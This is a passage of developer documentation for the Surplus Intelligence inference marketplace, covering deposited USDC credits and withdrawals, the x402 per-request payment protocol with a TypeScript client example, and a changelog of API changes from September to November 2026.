Protocol](https://www.surplusintelligence.ai/docs/payments/x402) - HTTP 402 per-request payments, no account required --- # /docs/payments/prefunded-usdc # Deposited USDC Credits Deposit USDC once, spend it like credit, and withdraw whatever you did not use. It is the only funded balance on Surplus that can leave again. (Elsewhere in the API and the dashboard this is called *prefunded USDC* - same thing.) Card top-ups create **credit** - an internal ledger balance that can be spent and never withdrawn. Prefunded USDC is the other half: you send USDC to a deposit address owned by your workspace, it becomes a spendable balance, and the unspent remainder can go back to your wallet. > **This is live.** Prefunded USDC and deposit intake are both enabled in production. If an endpoint below returns > `404` rather than `401`/`403`, that is a feature gate rather than a wrong URL - but on production today, it is on. ## The distinction that matters Both balances add up to one spendable number in the dashboard. Underneath they are not interchangeable. - **Prefunded USDC**: Deposited on chain. Spendable, and you can withdraw whatever you do not use. - **Card credit**: Bought with a card. Spendable, but it can never leave - so it is spent first. That is also why the spend order is what it is: **card credit is spent first, prefunded USDC second.** Spending the non-withdrawable money first preserves the withdrawable money for as long as possible. If the order were reversed, every request would quietly convert money you could get back into money you could not. **Deposit, spend, withdraw** 1. **Get a deposit address**: GET /v1/payments/deposit-address 2. **Send USDC on Base**: From any wallet 3. **Confirmations**: Credited once final 4. **Spend or withdraw**: POST /v1/payments/withdraw Deposits need on-chain confirmations before they are spendable. Withdrawals go only to a wallet the account has registered. ## Depositing ```bash curl -s https://api.surplusintelligence.ai/v1/payments/deposit-address \ -H "Authorization: Bearer inf_..." ``` The address is **per workspace** and stable - reuse it. Send USDC on Base to it from any wallet. The balance is not spendable the moment the transaction lands: it is credited after the configured minimum confirmations, which exists so a reorg cannot spend money that never settled. Requires `billing.manage`. ## Withdrawing ```bash curl -s -X POST https://api.surplusintelligence.ai/v1/payments/withdraw \ -H "Authorization: Bearer inf_..." \ -H "Idempotency-Key: $(uuidgen)" \ -H 'Content-Type: application/json' \ -d '{ "destination": "0xYourWallet", "amount_micro": "25000000" }' ``` - `destination` (string): Where the USDC goes. **Not a free-text field** - it must be your own account wallet or a wallet the org has registered. An address that is neither is rejected, so a leaked key cannot drain funds to an attacker. - `amount_micro` (string): Integer microdollars as a string (`1 USD = 1000000`). Omit to withdraw everything available. A string because a JSON number silently accepts `1.5`, and a fractional microdollar is not a representable amount of USDC. `Idempotency-Key` is **required** and becomes the withdrawal's permanent identity, so a retried request can never withdraw twice. Requires `wallets.manage` - deliberately a different capability from `billing.manage`, because taking money out is a different decision from putting money in. For a signed, multi-step withdrawal there is also `POST /v1/wallet/withdraw/prepare`, `POST /v1/wallet/withdraw` and `GET /v1/wallet/withdraw/:id`. Those require a signed-in session rather than an API key. ## What you can withdraw Only the prefunded USDC portion. Card credit is never withdrawable, and a withdrawal request cannot reach it. `GET /v1/payments/withdrawable` returns the amount a withdrawal would pay right now (`withdrawable_usdc`, usable when `state` is `open`), after the same checks the withdraw route makes. If either ledger row is frozen, **both** are frozen - the balances are one funding decision, so a hold on one side stops spending from the other too. That is intentional, not a bug. ## Auto top-up Keep a floor under the balance rather than watching it: | Method | Path | Does | | ------ | ------------------------- | -------------------------- | | GET | `/v1/payments/auto-topup` | Read the current rule | | PUT | `/v1/payments/auto-topup` | Set a threshold and amount | | DELETE | `/v1/payments/auto-topup` | Turn it off | Writes require `billing.manage` and are idempotent. ## Related - [Payments overview](https://www.surplusintelligence.ai/docs/payments/index) - the funding options side by side - [Fiat payments](https://www.surplusintelligence.ai/docs/payments/fiat) - the card-credit ledger this one complements - [x402](https://www.surplusintelligence.ai/docs/payments/x402) - paying per request with no account at all --- # /docs/payments/x402 # x402 Protocol HTTP 402-based per-request payment using USDC on Base. No account and no API key are required - just a wallet. Surplus Intelligence supports two x402 payment schemes for inference: - **`upto` (preferred):** buyer signs a per-request Permit2 authorization for a maximum, then only the actual post-response cost is settled. - **`exact` (fallback):** buyer signs a fixed pre-charge and the full estimate is settled. ## Flow **The 402 handshake** 1. **Request**: No auth header 2. **402**: accepts\[] - what it costs, how to pay 3. **Sign**: Pick one accepted option 4. **Retry**: Same url + PAYMENT-SIGNATURE Two requests to the SAME url. The first is not an error you recover from - it is the server telling you the price and how it will take payment. 1. Agent sends a request with no auth header. 2. Server returns `HTTP 402` with payment requirements in `accepts[]`. 3. Agent signs one accepted payment option. 4. Agent retries the same request with `PAYMENT-SIGNATURE`. 5. Server verifies payment, routes to the cheapest available seller, runs inference, then settles payment. 6. Seller is paid by the SI operator; for x402 `upto`, CDP sponsors the buyer→operator settlement gas when available. ## Response Headers The 402 response includes payment requirements in two places: - **`PAYMENT-REQUIRED` header** - base64-encoded JSON (x402 v2 canonical, used by SDKs) - **`x-payment-required` header** - same data (legacy compatibility) - **Response body** - `accepts[]` array with the same data in readable JSON The payment retry must include: - **`PAYMENT-SIGNATURE` header** - base64-encoded signed payment payload Successful x402-paid responses include: - **`PAYMENT-RESPONSE` header** - base64-encoded settlement result with transaction hash ## Scheme: `upto` (Preferred) `upto` is designed for variable-cost resources like LLM inference. - Buyer signs a Permit2 witness authorization for a **maximum** USDC amount. - The max is based on estimated input + `max_tokens` + a conservative buffer. - After inference succeeds, SI computes actual usage and settles only the actual buyer cost. **Why upto beats exact for inference** - Authorized ceiling - the most that could be taken: signed up front - Actually settled - what the response really used: charged after You authorize a ceiling, not a price. Inference cost is not knowable before the response exists, so exact has to over-quote and take the whole quote. - If actual usage is below the max, the buyer keeps the difference. - If actual usage is $0, no x402 settlement tx is needed. - Requires one-time USDC approval to Permit2 (`0x000000000022D473030F116dDEE9F6B43aC78BA3`) plus the per-request Permit2 payment signature. - The Permit2 approval is specific to x402. It authorizes a per-request payment, not a standing balance. Current production setup: - Network: Base mainnet (`eip155:8453`) - Asset: USDC (`0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913`) - x402 Upto Permit2 Proxy: `0x4020A4f3b7b90ccA423B9fabCc0CE57C6C240002` - `payTo`: SI operator/treasury wallet, resolved dynamically - read it from the 402 `PAYMENT-REQUIRED` challenge (or `GET /x402/info`); do not hardcode it - Facilitator: external HTTP facilitator when available (CDP preferred), with self-facilitation fallback Example `upto` accept entry: ```json { "scheme": "upto", "network": "eip155:8453", "asset": "0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913", "amount": "5502", "payTo": "", "maxTimeoutSeconds": 120, "extra": { "name": "USD Coin", "version": "2", "facilitatorAddress": "0x..." } } ``` `amount` is the maximum authorized amount in USDC micro-units (6 decimals). For example, `5502` means `0.005502 USDC`. ## Scheme: `exact` (Fallback) `exact` uses EIP-3009 `TransferWithAuthorization`. - Buyer signs a fixed USDC transfer for the estimated max amount. - The facilitator settles the full fixed amount before inference proceeds. - This is widely supported by current x402 tooling and remains available for compatibility. - It may overcharge relative to actual token usage, so `upto` is preferred when the client supports it. ## Facilitators and Gas Sponsorship `exact` and `upto` can both be gasless for the buyer. - **`exact`:** CDP facilitator submits the USDC `transferWithAuthorization` tx and pays gas. - **`upto`:** when CDP advertises Base mainnet `upto`, CDP submits the `x402UptoPermit2Proxy.settle()` tx and pays gas. - **Fallback:** if no external `upto` facilitator is available, SI can self-facilitate using the operator wallet. Configuration knobs: - `X402_FACILITATOR_URL` - default HTTP facilitator (production uses CDP) - `UPTO_FACILITATOR_MODE=auto|cdp|http|self` - default `auto` - `UPTO_FACILITATOR_URL` - optional explicit `upto` facilitator URL - `UPTO_FACILITATOR_ADDRESS` - optional explicit facilitator signer address ## Pricing Pricing is model-specific and market-based. SI routes to the cheapest available seller for the requested model. Prices are often below direct provider rates, but the final amount is always returned in the 402 challenge. ## The 402 challenge When no auth is provided, the server returns a 402 that advertises: - x402 `upto` (preferred) - x402 `exact` (fallback) Pick the scheme you support and retry the same URL with the signed payment. ## Client Libraries - **JavaScript/TypeScript:** `@x402/core` + `@x402/evm`, or higher-level x402 fetch wrappers - **Python:** `x402` package where available ## Agent Happy Path: Buy Chat Inference with `upto` x402 inference is native on the `/v1` API surface - pay per request with the `PAYMENT-SIGNATURE` header, no separate wrapper path needed: ```text POST https://api.surplusintelligence.ai/v1/chat/completions ``` Minimal request body: ```json { "model": "llama-3.3-70b", "messages": [{ "role": "user", "content": "Say exactly: pong" }], "max_tokens": 8 } ``` Algorithm for agents: 1. POST the request body without `Authorization`. 2. Decode the `PAYMENT-REQUIRED` header as base64 JSON. 3. Select `accepts.find((a) => a.scheme === "upto")` when present. 4. Sign that payment requirement (for `upto`, a per-request Permit2 payment authorization). 5. Retry the **same request body** with `PAYMENT-SIGNATURE: base64(JSON.stringify(paymentPayload))`. 6. Success is `HTTP 200` plus a `PAYMENT-RESPONSE` header and an OpenAI-compatible response body. ### TypeScript example (`@x402/evm` + viem) ```ts import { createPublicClient, createWalletClient, http, publicActions } from 'viem' import { base } from 'viem/chains' import { privateKeyToAccount } from 'viem/accounts' import { UptoEvmScheme } from '@x402/evm' const endpoint = 'https://api.surplusintelligence.ai/v1/chat/completions' const account = privateKeyToAccount(process.env.PRIVATE_KEY as `0x${string}`) const publicClient = createPublicClient({ chain: base, transport: http() }) const walletClient = createWalletClient({ account, chain: base, transport: http() }).extend(publicActions) // Important: UptoEvmScheme needs a signer with an explicit address. // Do not rely on walletClient.address if it is undefined. const signer = { address: account.address, signTypedData: (msg: any) => account.signTypedData(msg), readContract: publicClient.readContract.bind(publicClient), getTransactionCount: publicClient.getTransactionCount.bind(publicClient), estimateFeesPerGas: publicClient.estimateFeesPerGas.bind(publicClient), } const body = { model: 'llama-3.3-70b', messages: [{ role: 'user', content: 'Say exactly: pong' }], max_tokens: 8, } const challenge = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body), }) const paymentRequired = JSON.parse( Buffer.from(challenge.headers.get('PAYMENT-REQUIRED')!, 'base64').toString(), ) const upto = paymentRequired.accepts.find((a: any) => a.scheme === 'upto') const paymentPayload = await new UptoEvmScheme(signer).createPaymentPayload(2, upto) const paymentHeader = Buffer.from(JSON.stringify(paymentPayload)).toString('base64') const paid = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'PAYMENT-SIGNATURE': paymentHeader, }, body: JSON.stringify(body), }) console.log(paid.status) // 200 console.log(paid.headers.get('PAYMENT-RESPONSE')) // settlement metadata console.log(await paid.json()) // OpenAI-compatible completion ``` See `/docs/getting-started/agent-quickstart.md` for more examples. --- # /docs/reference/changelog # Changelog ## Notable Releases ### November 2026 - **A page cursor we cannot use is a 400 or a 503, not a 500.** On lists that page with a cursor (`GET /v1/requests`, `GET /v1/seller/earnings-history` and the others), a cursor that was changed, cut short or not issued by us now answers `400 invalid_cursor`: start the list again without it. One we could not read for a moment now answers a retryable `503 cursor_unavailable`: retry with the same cursor. Both used to be a `500`, except that `GET /v1/payments/history` already answered a bad cursor with `400 invalid_cursor`. If we roll back a change to how your request history or earnings history is stored, a cursor you already hold keeps working. While such a change rolls forward, a cursor may return a `400`: start the list again without it. See [Page cursors](https://www.surplusintelligence.ai/docs/api-reference/index#page-cursors). - **A trusted-only 503 says when untrusted sellers could serve.** When a request routes to trusted providers only (the default, unless `preferences.allow_untrusted` is `true` on your key or account) and no trusted seller could serve it, because none was healthy or every healthy one was tried and failed, while healthy untrusted offers you could otherwise use were skipped only for trust, the answer is now `no_healthy_trusted_sellers` instead of `no_healthy_sellers`. It is a retryable `503`, as before. Its message gives the number of those untrusted offers and names the setting that includes them, e.g. *No trusted seller could serve model 'gpt-5.5' right now. 3 healthy offer(s) from untrusted providers are available for it, but this request routes to trusted providers only. To include them, set preferences.allow\_untrusted to true on the account or the key (a key set to trusted providers only stays trusted only).* It says nothing about any seller. Routing is unchanged, and when your own controls removed the trusted offers the answer is still `no_healthy_sellers`. On the dashboard, Buy › Routing adds a note under Seller access listing your models whose trusted supply is down, with a button that selects "All healthy" (saved when you save your changes). See [Chat Completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions). - **A `503` caused by untrusted providers now says so.** Routing is trusted-only unless `preferences.allow_untrusted` is `true` on your key or account, so offers from a provider outside the trusted set (Azure OpenAI is one) are skipped. The `503 no_healthy_sellers` message now counts those skips (*2 offer(s) skipped — untrusted provider; ...*), so a pin on such a provider no longer reads like a dead market. Status, code and `retryable` are unchanged. Set `allow_untrusted: true` on the key or the account, or pin a trusted provider; a key scoped to trusted providers cannot reach them. And a pin that matches none of the model's offers now says so after the `404 no_sellers_for_model` first sentence, e.g. *No available sellers for model 'gpt-5.5' (provider pin 'groq' matched none of the 6 offer(s) for this model)*; it names only the pin entries we recognised, and its status, code and `retryable` are unchanged. See [Chat Completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions). - **A stream cut off at the provider's generation deadline says so.** When a provider ends a stream after several minutes without producing any output, a `finish_reason` or `data: [DONE]` (Gemini on Google's OpenAI-compatible endpoint stops at its generation deadline, after roughly 10 minutes), the closing `error` frame is now `upstream_generation_timeout` instead of `stream_incomplete`, and its message no longer advises a retry: the same request will likely hit the same limit, so shorten the prompt or lower the reasoning effort. Every other stream that ends without a `finish_reason`, including one that closes quickly with nothing in it, still ends with `stream_incomplete`. Status and billing are unchanged. See [Chat Completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions#error-codes). - **Error messages without our support line, on request.** Send `X-SI-Support-Hint: off` and every error `message` leaves out its closing *Unusual bug? Email … Discord: …* sentence, on every surface, for gateways that pass messages through to their own customers. Nothing else changes, the request id stays in `x-request-id` and `request_id`, and without the header (or with any other value) errors are exactly as before. See [Error messages](https://www.surplusintelligence.ai/docs/api-reference/index#error-messages). - **An exhausted video or music job says why its search ran out.** A failed job polled at `GET /v1/video/generations/{id}` or `GET /v1/music/generations/{id}` with `marketplace_status: "exhausted"` now carries `exhausted_reason`: `price_bounded` (other offers passed every check but cost more than the job's price limit: your minimum discount, or what the job could reserve), `filtered` (other offers were left out for another reason) or `all_failed` (every offer was tried). On `price_bounded`, each limit gets its own figure in µ$: `cheapest_excluded_cost_usdc` is the lowest estimated cost among the offers your minimum discount left out, and `cheapest_excluded_hold_usdc` the lowest amount one of the offers your funds left out needed reserved (a hold, so it can be well above the estimate); both are present when both limits applied. `error.message` adds one sentence, e.g. `2 other offers for this model were not tried because each costs more than your minimum discount allows; the cheapest is estimated at $0.8500. A lower minimum discount lets this job fail over to them.` or `1 other offer for this model was not tried because it needs more reserved than this job could hold; the cheapest needs up to $1.2000 reserved. Adding funds lets this job fail over to it.` A synchronous image or audio request that runs out against your minimum discount adds the matching sentence (naming the request) to its `503` message. `marketplace_status`, `error.type`, codes and statuses are unchanged. See [Video Generations](https://www.surplusintelligence.ai/docs/api-reference/video-generations#poll-status). - **A pin your request's parameters rule out is named in the 404.** When your `provider` pin matches only offers whose provider does not accept a parameter your request uses (for example `tool_choice` on DashScope's chat API), or no offer for the model accepts it at all, `404 no_sellers_for_model` now says so after its usual first sentence, and says what to change, e.g. *No available sellers for model 'qwen3.8-omni-flash'. Your provider pin 'dashscope' matches only offers whose provider does not accept this request's `tool_choice`. Remove `tool_choice` or the pin: 239 healthy offer(s) on other providers accept this request.* Status, code and `retryable` are unchanged, and retrying the same request gets the same answer. See [Chat Completions](https://www.surplusintelligence.ai/docs/api-reference/chat-completions). - **Per-1M prices on every request.** In Activity › Requests and `GET /v1/requests`, `price_input_per_1m_micro`, `price_cached_input_per_1m_micro`, `price_cache_write_per_1m_micro` and `price_output_per_1m_micro` are now filled for requests served by our edge as well, the same rates (fees included) that requests served by the API already carried; they were `null` (shown as "-") on most recent requests. Requests from before this change keep `null`. - **Logprobs on non-streaming chat completions.** A `POST /v1/chat/completions` request (and its `/min{N}` mirror) sent with `logprobs: true` and without `stream` now returns each choice's `logprobs` as `{"content": [...], "refusal": [...]}`: every token entry the provider reported, `top_logprobs` included, exactly as the same request streamed carries them chunk by chunk, and `null` on a side the provider sent nothing for. Before, a non-streaming answer always came back with `logprobs: null`. Only a request sent with `logprobs: true` gets them: any other non-streaming request (including one with `top_logprobs` alone) still returns `logprobs: null`, even if the provider sends logprobs. See [Parameter Compatibility](https://www.surplusintelligence.ai/docs/reference/parameter-compatibility). - **Balance figures are net of requests in flight (behaviour change), and what you can withdraw has its own route.** `GET /v1/payments/balance` now subtracts what in-flight requests are holding: `credit_balance_usdc` and the two available halves (`fiat_available_usdc`, `usdc_available_usdc`) read lower while a request holds money, and `fiat_held_usdc` and `usdc_held_usdc` include those holds. `credit_balance_usdc` on `GET /v1/buyer/me` matches. `usdc_available_usdc` is floored at 0, and a negative `fiat_available_usdc` is card-credit debt. New `GET /v1/payments/withdrawable` returns `withdrawable_usdc` (what `POST /v1/payments/withdraw` would send right now), `card_debt_usdc` and `state` (`open`, `catching_up`, `frozen` or `paused`); use the figure only when `state` is `open`. It has its own rate limit, 60 a minute. See [Prefunded USDC](https://www.surplusintelligence.ai/docs/payments/prefunded-usdc#what-you-can-withdraw). - **The minimum-discount 404 names the parameter to drop.** When `404 minimum_discount_not_met` reports offers left out because their provider does not support a parameter your request uses, and their best estimated discount meets your floor, the message now adds one sentence naming the request that would reach them, e.g. `Requests without tool_choice are eligible for offers up to 95.2078% estimated discount.` Status, code and `details` are unchanged. See [Minimum Discount Routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing#error-shape). - **Decisions: invalid Unicode is a 400 (behaviour change).** A `POST /v1/decisions` request that a seller refuses because it contains invalid Unicode text (for example an unpaired surrogate) now answers a non-retryable `400 invalid_request` instead of a retryable `502 upstream_error`. Your hold is released as before. See [Decisions](https://www.surplusintelligence.ai/docs/api-reference/decisions). - **Throughput on the offers table.** The Current offers table on a model's Markets page adds a sortable **TPS** column: each offer's provider throughput (`tps_p50`, the median output tokens per second while streaming over the trailing 24 hours, from `GET /api/analytics/performance/{model}`), shown as e.g. `40 tps`, one value per provider. `-` means not enough data, and offers without a figure sort last. Image, video and audio models have no TPS column, and phones show the figure under Performance by provider route instead. See [Provider Performance](https://www.surplusintelligence.ai/docs/marketplace/provider-performance). - **Secret masking covers Provider Market text calls (behaviour change).** With masking on, the text calls you make through `/v1/resources/{provider}/…` and its `/min{N}` mirror are now masked and restored like `/v1/chat/completions`, with the same headers and the same refusals: chat completions, Responses, Messages and Decisions on OpenRouter, chat completions, Messages and Decisions on Vercel AI Gateway, and chat completions and Responses on Venice. Before, they were sent as written and answered `x-si-secret-masking: not_applied`. Every other Provider Market call (media, embeddings, tools, model lists) and every x402-paid call is still sent as it is. The guide's known limits now also list what masking leaves visible. See [Secret masking](https://www.surplusintelligence.ai/docs/guides/secret-masking#which-endpoints-it-covers). - **Video prices per resolution.** A video model priced by resolution now publishes every resolution's reference, not one tier. `GET /api/markets/{model}` adds `direct_price.media_price_by_resolution` (raw USD per second) or `direct_price.media_job_price_by_resolution` (raw USD per job) with `media_durations_sec`, the same table at each offer's multiplier on `offers[]`, and `resolution` and `duration_seconds` on `recent_fills[]`. `GET /v1/models` adds the same table under `pricing`, and the `GET /api/markets` list adds `media_job_price_by_resolution` beside `media_price_by_resolution`. Every field is omitted when it does not apply; `media_unit_price` and `pricing.image` keep their meaning (the default resolution's reference, else the cheapest tier). See [Market Data](https://www.surplusintelligence.ai/docs/api-reference/markets). - **Which API key made each usage row.** `GET /v1/buyer/usage/export` adds a `key_id` column at the end: the id of your account's own API key that made the request, kept after the key is revoked or rotated. It is empty for requests not made with an API key (a dashboard session, x402, MPP), for requests made before late July 2026, and while per-key attribution is not yet turned on for your account. - **Usage export date bounds (behaviour change).** `GET /v1/buyer/usage/export` takes `from` and `to` as a `YYYY-MM-DD` UTC day or an ISO-8601 instant, both inclusive. An instant `to` now bounds the export; before, it was dropped and the file ran to the newest row. A bound that cannot be read, or a `to` before `from`, is now a 400 instead of an export with that bound left out. - **Media units and the reference cost on each sale.** Each sale in `GET /v1/seller/earnings-history` and in `/v1/seller/earnings` recent sales adds `media_type`, `media_units` and `media_unit_type` (absent on a token sale), and `direct_cost_usd`: our reference cost for the units metered, a micro-USD string, absent when there is none. - **Model logos.** Model objects on `GET /v1/models` (and its `/min{N}` mirror), `GET /v1/models/{id}` and the `models[]` of `GET /api/marketplace` add `logo_url`, the absolute URL of the model's logo image. It is optional and absent when the model has no logo. See [Models](https://www.surplusintelligence.ai/docs/api-reference/models). - **Provider logos.** Entries of `GET /api/providers` add `logo_url`, the absolute URL of the provider's logo image. It is optional and absent when no logo is set for the provider. - **Bring back a retired offer with one call.** New `POST /v1/seller/offers/{id}/check-again` relists an offer Surplus retired for repeated failures (`delisted_reason` is `system:chronic_failure`) when its key works again with no change to the key, for example a monthly plan that has refilled. It takes no body: it runs one real generation on the key Surplus already holds, and relists the offer at its stored price, healthy and with its failure count cleared, only if that passes. Text and decisions offers only (a media offer answers `409 check_again_media_unsupported`), and one check per offer per hour (`429 check_again_too_soon`, with `Retry-After`). A stored price that no longer passes today's listing check answers `409 reprice_needed`, so reprice with `PATCH` and check again; a key you replaced still goes through `rotate-credential`. Every refusal names its code, and its `error.detail` carries `relisted`, `health_reset`, `blocked_by`, `retryable` and, once the hour is taken, `next_check_at`. See [Seller Endpoints](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#offer-operations). ### October 2026 - **Provider cache hit rate.** Each provider row of `GET /api/analytics/performance/{model}` adds `cache_hit_rate_pct`: the share of that provider's input tokens that were prompt-cache reads over the trailing 24 hours, to one decimal. It is `null` until the whole window is measured, and a `0` is a real measurement. The Current offers tables on the Markets page and the model page add a sortable **Cache** column with the same figure, one value per provider, with offers that have no figure sorting last; image, video and audio models have no Cache column. See [Provider Performance](https://www.surplusintelligence.ai/docs/marketplace/provider-performance). - **Secret masking (beta).** An optional extra layer of protection for text prompts: API keys, private keys, seed phrases, passwords and tokens in a request are replaced with placeholders before it is routed, and every value is put back in the response, wherever the model writes it - passwords, seed phrases, links and markup included - except in the model's reasoning, which comes back as written. It is off by default and opt-in at every layer: send `X-SI-Mask-Secrets: on`, or set `mask_secrets: true` on a key (`PUT /v1/buyer/keys/{id}/preferences`, `POST /v1/keys`, `PATCH /v1/keys/{id}`) or on the account (`PUT /v1/buyer/preferences`), or use the switches on Buy › Routing and on key create and edit. A key cannot opt out of an account that masks. A write that turns it on returns `secret_masking_effective_at` (about 31 seconds later); the preference responses add `secret_masking_available`. Masked responses carry `x-si-secret-masking`, `x-si-secrets-masked` and, when placeholders were left in place, `x-si-secrets-withheld` (`: si-secrets-withheld ` on a stream). It covers chat completions, completions, Responses, the Anthropic skin and Decisions; a masked key or account still works on embeddings and media, which are sent as they are, without masking (`x-si-secret-masking: not_applied`). While masking is running, a request that asks for it and cannot get it is refused, never sent unmasked, with one of nine codes; while it is paused on the service, such a request is sent without masking. Restoring every value trusts the seller's model with where it goes - into commands, links and images too - so read what that means first: [Secret masking](https://www.surplusintelligence.ai/docs/guides/secret-masking). - **Preference writes merge instead of replacing (behaviour change).** `PUT /v1/buyer/preferences` and `PUT /v1/buyer/keys/{id}/preferences` now merge `preferences` into what is stored: a field you leave out is unchanged and `null` clears that one field. Before, the body replaced every stored preference, so `{ "preferences": {} }` cleared them all; it now changes nothing. On `PATCH /v1/keys/{id}`, `provider_trust: "default"` clears only the trust setting. A write that loses a race three times answers `409 concurrent_update`, which is safe to retry. See [Buyer Endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints#per-key-routing-preferences). - **OpenAI's Decisions API on Surplus.** `POST /v1/decisions` now speaks OpenAI's public Decisions API: point the OpenAI SDK at Surplus and call `client.decisions.create` with `gpt-6-luna` - `input` (text or user messages with base64 images) and an ordered array of `predicate`, `choice` and `score` questions, answered in order with per-question refusals. The JEV format (`state` + a map of questions) keeps working unchanged; a JEV request sent to an OpenAI-format model is translated only when nothing is lost (else `400 decisions_mapping_lossy`). Billed on input tokens only, at $0.10 per 1M. `Idempotency-Key` is no longer used on `/v1/decisions` (as on the other inference endpoints), and the endpoint documents its `200` status. See [Decisions](https://www.surplusintelligence.ai/docs/api-reference/decisions). - **The signed-in app moved to `/app` (URL change).** Every page that used to live at `/buy`, `/sell`, `/settings`, `/finops`, `/keys`, `/invite`, `/imagegen` and `/payments` is now under `/app` - `/buy/keys` is `/app/buy/keys`, `/finops/requests` is `/app/activity/requests`, `/finops/savings` is `/app/buy/savings`, `/finops/webhooks` is `/app/settings/webhooks`, and `/settings/budgets` is `/app/buy/budgets`. **Old links keep working**: every one of them redirects, so bookmarks, emails and integrations do not break. Three things worth knowing: the redirect is temporary (307) while the change settles, so do not cache it; `/miniapp` now goes to the home page, because the Farcaster Mini App is retired; and `/imagegen` goes to the dashboard home rather than to an image page, because there is no image surface in the new app yet. The API is unaffected - `/api/*` and `/x402/*` are unchanged, and no request path, header or payload moves. - **Notification links point at the page that fixes the problem.** A low-balance or auto-top-up email now opens Funding directly, a dead seller key or unhealthy offer opens your Offers table rather than Earnings, and "Manage alerts" always opens Settings › Notifications. Stripe now returns you to Funding by default instead of the old buy page. ### September 2026 - **Privacy: identities no longer cross sides (breaking).** The public order book (`GET /api/markets/:model`) drops `offers[].seller`, a seller's wallet; seller earnings and `/v1/seller/earnings-history` drop `recent_sales[].buyer`, a buyer's wallet; the usage leaderboard's entries drop `handle` and `label` (a rank is the entry's position, and each entry carries only `spend_micro`); and Explorer `group_by=provider` / `filter_provider` now use the provider route, never a seller's wallet. Buyers never see a seller's identity and sellers never see a buyer's. - **Buyer overview and spend analytics.** New `GET /v1/buyer/overview?range=7d|30d|90d` returns spend, savings, the 7-day pace (`avg_daily_spend_micro`; an account younger than a week is paced over its complete days so far), daily figures and top models in one call, and says `coverage: false` rather than showing zeros when the figures aren't available. `/v1/analytics/spend/*` and `/v1/analytics/savings/summary` accept `workspace_id=` or `all` (all needs audit access on a team org) and add `cache_read_tokens`, `cache_write_tokens`, `cache_hit_requests`, `fiat_spend_micro`, `usdc_spend_micro`, `prompt_cache_savings_micro`, `prompt_cache_hit_pct`, `cache_routed_pct`, `distinct_models`, `distinct_keys`, `distinct_providers` and `cache_routing_mode`; top model and key lists go up to 50, and provider groups are provider routes. `cache_hit_pct` stays as a deprecated alias of the cache-routing figure. - **Prompt-cache savings, and one rule for "saved".** `/v1/buyer/savings` adds `cache_saved_usdc` and `cache_saved_since`: what prompt caching saved you, measured from the date shown. Everywhere a saving is shown it is signed per request and floored at zero on the total, so a request that cost more than the reference is counted honestly. - **Explorer, request log and sales history.** The Explorer adds comma-list filters, a `day` grouping, `order_by`/`order_dir`, settlement, funding and cache filters, the cache and funding-split measures and `prompt_cache_hit_pct`; sellers can query their sales with `side=seller`. `GET /v1/requests` accepts `from`/`to`, comma-list filters, `statuses`, `member_id`, `funding`, `endpoint`, `cache` and `latency_*`, and each row carries its settlement status; the request detail adds cache tokens, the fiat/USDC split and whether the seller is trusted. `/v1/seller/earnings-history` accepts `from`, `to`, `model`, `offer_id` (up to 10 offers, merged newest first) and `settlement` (`pending`, `owed`, `paid`, or `confirmed` for every settled sale; the seller Explorer accepts `confirmed` too). A filtered read that stops at its read budget says so with `truncated`, and filtered log reads have their own rate limit (60 per minute; an audit read filtered by `workspace_id` counts as filtered). - **Audit.** New `GET /v1/audit/{entryId}`; entries carry a hashed `session_ref`; the list filters on `outcome` (now including `error`), `workspace_id` and `session_ref`; a day-only `to` covers the whole day; and denied actions are recorded. - **Payments and budgets.** `GET /v1/payments/balance` adds `prefunded_usdc_enabled`, `withdrawals_paused` and `pending_deposits[]` (amount, observed time, live confirmations, status and sending address), and `deposit_min_confirmations` whenever a deposit is pending. `GET /v1/payments/auto-topup` adds the card on file (`card_brand`, `card_last4`, `card_exp_month`, `card_exp_year`). `POST /v1/payments/topup` and `POST /v1/payments/billing-portal` accept `return_to` (`legacy`, `dashboard` or a path under `/app`; anything else is `400 invalid_return_to`). New `GET /v1/payments/history`, your funding history with cursor paging, is rolling out per environment. New `GET /v1/budgets/spend` returns every visible budget's current spend in one call (a member confined to one workspace also sees the organization budget and their own member budget), and budget spend adds `scope_type`, `scope_id`, `status` and `hard_stop`. A paused budget now keeps counting spend: it never blocks a request or sends an alert while paused, but its spend is current when you resume it. - **Seller earnings go deeper.** `/v1/seller/earnings` adds `computed_at`, `range=today|mtd`, `share.prior` (the previous equal period), a token-weighted `avg_discount_given_pct`, `cache_savings_usdc`, cache and input/output tokens, `model_count`, `offer_count`, `top_models_by_earnings`, and `by_offer` / `by_provider` for today, 7 days, 30 days and month to date. Recent sales add `discount_pct`, `provider` (omitted when it wasn't recorded), `sold_at` and `confirmed_at`. - **Seller offers and payouts.** Offers add `discount_pct`, `provider`, `route_kind` (direct, aggregator or cloud), `credential_kind`, `credential_prefix`, and the last error (`last_error_category`, `last_status_code`, `last_error_at`) with `last_probe_at` and `unhealthy_since`; health-test lines add `status_code` and `error_category`. New `POST /v1/seller/offers/bulk-update` runs one action over a selection (`offer_ids` and/or `provider`): `cancel` (a selection is required), `reset_health` (a media offer still awaiting or failing its render check is not re-admitted), and `set_discount` bulk repricing, rolling out behind a flag, which reprices discount-priced text and media offers at exactly the prices setting that discount on one offer gives (offers you priced per token, and text models without a current reference price, are counted in `failed_count`). A `provider` selection matches offers the way your provider cards name them; if the provider list can't be loaded the operation changes nothing, retries, and otherwise ends `failed` with `error_type: ProviderIdentitiesUnavailable`. Pausing, resuming, or editing an offer's daily cap, payout address or key no longer changes how a discount-priced text offer is labelled (`pricing_reference`), so its displayed discount stays put; only a price edit marks it as priced per token. `POST /v1/seller/offers/bulk-cancel` still cancels every active offer and now refuses a body naming `offer_ids` or `provider` (`400 selector_not_supported`). Every bulk operation, Cancel all included, fills `total` once it starts running. `GET /v1/seller/payouts` adds `mode`, the payout mode that actually applies to you, and history rows add `type`, `method` and `paid_at`; the withdraw response's `mode` now reports that same effective mode (`batched` wherever batched payouts are on). - **Where your offers stand.** Seller offers (`GET /v1/seller/offers` and `/v1/seller/offers/{id}`) add `best_discount_pct`, `gap_pct`, 